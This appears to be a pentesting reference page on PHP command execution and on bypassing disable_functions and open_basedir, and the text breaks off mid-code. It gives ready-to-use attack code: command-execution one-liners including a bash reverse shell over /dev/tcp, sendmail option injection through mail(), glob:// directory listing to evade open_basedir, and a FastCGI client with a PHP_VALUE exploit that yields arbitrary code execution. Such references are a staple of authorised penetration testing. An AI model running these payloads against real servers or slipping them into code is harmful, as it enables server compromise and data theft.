PHP - Useful Functions & disable_functions/open_basedir bypass

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PHP Command & Code Execution

PHP Command Execution

Note: A p0wny-shell php webshell can automatically check and bypass the following function if some of them be disabled.

exec - Returns last line of commands output

echo exec("uname  -a");

passthru - Passes commands output directly to the browser

echo passthru("uname -a");

system - Passes commands output directly to the browser and returns last line

echo system("uname -a");

shell_exec - Returns commands output

echo shell_exec("uname -a");

`` (backticks) - Same as shell_exec()

echo `uname -a`

popen - Opens read or write pipe to process of a command

echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - Similar to popen() but greater degree of control

proc_close(proc_open("uname -a",array(),$something));

preg_replace

<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - Executes a program (by default in modern and not so modern PHP you need to load the pcntl.so module to use this function)

pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);

mail / mb_send_mail - This function is used to send mails, but it can also be abused to inject arbitrary commands inside the $options parameter. This is because php mail function usually call sendmail binary inside the system and it allows you to put extra options. However, you won't be able to see the output of the executed command, so it's recommended to create shell script that writes the output to a file, execute it using mail, and print the output:

file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');

dl - This function can be used to dynamically load a PHP extension. This function won't be present always, so you should check if it's available before trying to exploit it. Read this page to learn how to exploit this function.

PHP Code Execution

Apart from eval there are other ways to execute PHP code: include/require can be used for remote code execution in the form of Local File Include and Remote File Include vulnerabilities.

${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
eval()
assert()                   //  identical to eval()
preg_replace('/.*/e',...)  // e does an eval() on the match
create_function()          // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function

disable_functions & open_basedir

Disabled functions is the setting that can be configured in .ini files in PHP that will forbid the use of the indicated functions. Open basedir is the setting that indicates to PHP the folder that it can access. The PHP setting sue to be configured in the path /etc/php7/conf.d or similar.

Both configuration can be seen in the output of phpinfo():

open_basedir Bypass

open_basedir will configure the folders that PHP can access, you won't be able to to write/read/execute any file outside those folders, but also you won't even be able to list other directories. However, if somehow you are able to execute arbitrary PHP code you can try the following chunk of codes to try to bypass the restriction.

Listing dirs with glob:// bypass

In this first example the glob:// protocol with some path bypass is used:

<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {  
    $file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {  
    $file_list[] = $f->__toString();
}
sort($file_list);  
foreach($file_list as $f){  
        echo "{$f}<br/>";
}

Note1: In the path you can also use /e??/* to list /etc/* and any other folder. Note2: It looks like part of the code is duplicated, but that's actually necessary! Note3: This example is only useful to list folders not to read files

Full open_basedir bypass abusing FastCGI

If you want to learn more about PHP-FPM and FastCGI you can read the first section of this page. If php-fpm is configured you can abuse it to completely bypass open_basedir:

Note that the first thing you need to do is find where is the unix socket of php-fpm. It use to be under /var/run so you can use the previous code to list the directory and find it. Code from here.

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        fwrite($this->_sock, $request);
        do {
            $resp = $this->readPacket();
            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
                $response .= $resp['content'];
            }
        } while ($resp && $resp['type'] != self::END_REQUEST);
        var_dump($resp);
        if (!is_array($resp)) {
            throw new Exception('Bad request');
        }
        switch (ord($resp['content']{4})) {
            case self::CANT_MPX_CONN:
                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
                break;
            case self::OVERLOADED:
                throw new Exception('New request rejected; too busy [OVERLOADED]');
                break;
            case self::UNKNOWN_ROLE:
                throw new Exception('Role value not known [UNKNOWN_ROLE]');
                break;
            case self::REQUEST_COMPLETE:
                return $response;
        }
    }
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
    die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
    $filepath = __FILE__;
}else{
    $filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
        'GATEWAY_INTERFACE' => 'FastCGI/1.0',
        'REQUEST_METHOD'    => 'POST',
        'SCRIPT_FILENAME'   => $filepath,
        'SCRIPT_NAME'       => $req,
        'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
        'REQUEST_URI'       => $uri,
        'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
        'PHP_VALUE'         => $php_value,
        'SERVER_SOFTWARE'   => '80sec/wofeiwo',
        'REMOTE_ADDR'       => '127.0.0.1',
        'REMOTE_PORT'       => '9985',
        'SERVER_ADDR'       => '127.0.0.1',